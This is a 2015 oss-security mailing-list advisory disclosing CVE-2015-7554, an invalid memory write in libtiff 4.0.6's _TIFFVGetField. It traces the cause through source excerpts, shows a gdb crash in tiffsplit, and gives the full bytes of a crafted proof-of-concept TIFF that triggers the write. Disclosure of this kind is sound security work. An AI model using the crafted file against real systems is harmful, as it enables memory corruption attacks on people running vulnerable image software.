[prev in list] [next in list] [prev in thread] [next in thread] 

List:       oss-security
Subject:    [oss-security] libtiff: invalid write (CVE-2015-7554)
From:       Hans Jerry Illikainen <hji () dyntopia ! com>
Date:       2015-12-26 16:34:40
Message-ID: m1a8oxqicf.darpa () darpa ! mil
[Download RAW message or body]


`_TIFFVGetField()' in libtiff-4.0.6 may write field data for certain
extension tags to invalid or possibly arbitrary memory.

Each tag has a `field_passcount' variable in their TIFFField struct:

tiff-4.0.6/libtiff/tif_dir.h #276..289:
,----
> struct _TIFFField {
> uint32 field_tag;                       /* field's tag */
> short field_readcount;                  /* read count/TIFF_VARIABLE/TIFF_SPP */
> short field_writecount;                 /* write count/TIFF_VARIABLE */
> TIFFDataType field_type;                /* type of associated data */
> uint32 reserved;                        /* reserved for future extension */
> TIFFSetGetFieldType set_field_type;     /* type to be passed to TIFFSetField */
> TIFFSetGetFieldType get_field_type;     /* type to be passed to TIFFGetField */
> unsigned short field_bit;               /* bit in fieldsset bit vector */
> unsigned char field_oktochange;         /* if true, can change while writing */
> unsigned char field_passcount;          /* if true, pass dir count on set */
> char* field_name;                       /* ASCII name */
> TIFFFieldArray* field_subfields;        /* if field points to child ifds, child ifd field \
> definition array */
> };
`----

For example:

tiff-4.0.6/libtiff/tif_fax3.c #1139..1141:
,----
> static const TIFFField fax3Fields[] = {
> { TIFFTAG_GROUP3OPTIONS, 1, 1, TIFF_LONG, 0, TIFF_SETGET_UINT32, TIFF_SETGET_UINT32, \
> FIELD_OPTIONS, FALSE, FALSE, "Group3Options", NULL },
> };
`----

However, `field_passcount' is always assigned TRUE if the tag is
processed by `_TIFFCreateAnonField()'.  This happens on unsuccessful
invocations of `TIFFReadDirectoryFindFieldInfo()':

tiff-4.0.6/libtiff/tif_dirread.c #3396..4076:
,----
> int
> TIFFReadDirectory(TIFF* tif)
> {
> [...]
> TIFFReadDirectoryFindFieldInfo(tif,dp->tdir_tag,&fii);
> if (fii == FAILED_FII)
> {
> TIFFWarningExt(tif->tif_clientdata, module,
> "Unknown field with tag %d (0x%x) encountered",
> dp->tdir_tag,dp->tdir_tag);
> /* the following knowingly leaks the
> anonymous field structure */
> if (!_TIFFMergeFields(tif,
> _TIFFCreateAnonField(tif,
> dp->tdir_tag,
> (TIFFDataType) dp->tdir_type),
> 1)) {
> [...]
> }
`----

tiff-4.0.6/libtiff/tif_dirinfo.c #627..719:
,----
> TIFFField*
> _TIFFCreateAnonField(TIFF *tif, uint32 tag, TIFFDataType field_type)
> {
> [...]
> fld->field_bit = FIELD_CUSTOM;
> [...]
> fld->field_passcount = TRUE;
> [...]
> }
`----

If the field for a 1-count extension tag whose `field_passcount' has
been overridden is later read by `_TIFFVGetField()', this happens:

tiff-4.0.6/libtiff/tif_dir.c #823..1145:
,----
> static int
> _TIFFVGetField(TIFF* tif, uint32 tag, va_list ap)
> {
> [...]
> uint32 standard_tag = tag;
> [...]
> if (fip->field_bit == FIELD_CUSTOM) {
> standard_tag = 0;
> }
> 
> switch (standard_tag) {
> [...]
> default:
> {
> [...]
> for (i = 0; i < td->td_customValueCount; i++) {
> [...]
> if (fip->field_passcount) {
> if (fip->field_readcount == TIFF_VARIABLE2)
> *va_arg(ap, uint32*) = (uint32)tv->count;
> else  /* Assume TIFF_VARIABLE */
> *va_arg(ap, uint16*) = (uint16)tv->count;
> *va_arg(ap, void **) = tv->value;
> ret_val = 1;
> }
> [...]
> }
> }
> }
> [...]
> }
`----


With an invocation of `TIFFGetField()' such as:

,----
> TIFFGetField(tif, TIFFTAG_GROUP3OPTIONS, &dst);
`----

for a TIFFTAG_GROUP3OPTIONS specified as:

,----
> 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41
> ^^^^^^^^^^  ^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^
> tag         type        count                   offset/value
`----

the count is written to `dst', whereas 0x41414141 is written to
invalid/arbitrary memory.


Using the included tiffsplit utility as an example:

tiff-4.0.6/tools/tiffsplit.c #157..228:
,----
> static int
> tiffcp(TIFF* in, TIFF* out)
> {
> [...]
> CopyField(TIFFTAG_YRESOLUTION, floatv);
> CopyField(TIFFTAG_GROUP3OPTIONS, longv);
> [...]
> }
`----

,----
> $ gdb -q --args tiffsplit tag.tiff
> Reading symbols from tiffsplit...done.
> (gdb) r
> TIFFReadDirectory: Warning, Unknown field with tag 292 (0x124) encountered.
> 
> Program received signal SIGSEGV, Segmentation fault.
> 0xb7f68155 in _TIFFVGetField (tif=0x804d008, tag=292, ap=0xbffff660 \
> "\024\367\377\277\210\366\377\277\200\366\377\277\067\206\004\b0\371\377\267") at \
> tif_dir.c:1056
> 1056                            *va_arg(ap, void **) = tv->value;
> (gdb) x/i $eip
> => 0xb7f68155 <_TIFFVGetField+2229 at tif_dir.c:1056>:	mov    %edx,(%eax)
> (gdb) x/x $edx
> 0x804d670:	0x41414141
> (gdb) x/x $eax
> 0x41410000:	Cannot access memory at address 0x41410000
> (gdb)
`----


tag.tiff:
,----
> unsigned char tiff[] = {
> /* little-endian */
> 0x49, 0x49,
> 
> /* version */
> 0x2a, 0x00,
> 
> /* tif->tif_diroff */
> 0x09, 0x00, 0x00, 0x00,
> 0x00,
> 
> /* tag count */
> 0x07, 0x00,
> 
> /* tag    | type      | count                 | offset/value         */
> /* TIFFTAG_IMAGEWIDTH */
> 0x00, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_IMAGELENGTH */
> 0x01, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_BITSPERSAMPLE */
> 0x02, 0x01, 0x03, 0x00, 0x03, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00,
> /* TIFFTAG_STRIPOFFSETS */
> 0x11, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_STRIPBYTECOUNTS */
> 0x17, 0x01, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
> /* TIFFTAG_YRESOLUTION */
> 0x1b, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00,
> /* TIFFTAG_GROUP3OPTIONS */
> 0x24, 0x01, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x41, 0x41, 0x41,
> 
> /* tif->tif_nextdiroff */
> 0x00, 0x00, 0x00, 0x00,
> 
> /* bits per sample */
> 0x08, 0x00,
> 0x08, 0x00,
> 0x08, 0x00,
> };
`----


This issue has been assigned CVE-2015-7554 and it has yet to be fixed.

-- 
Hans Jerry Illikainen


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic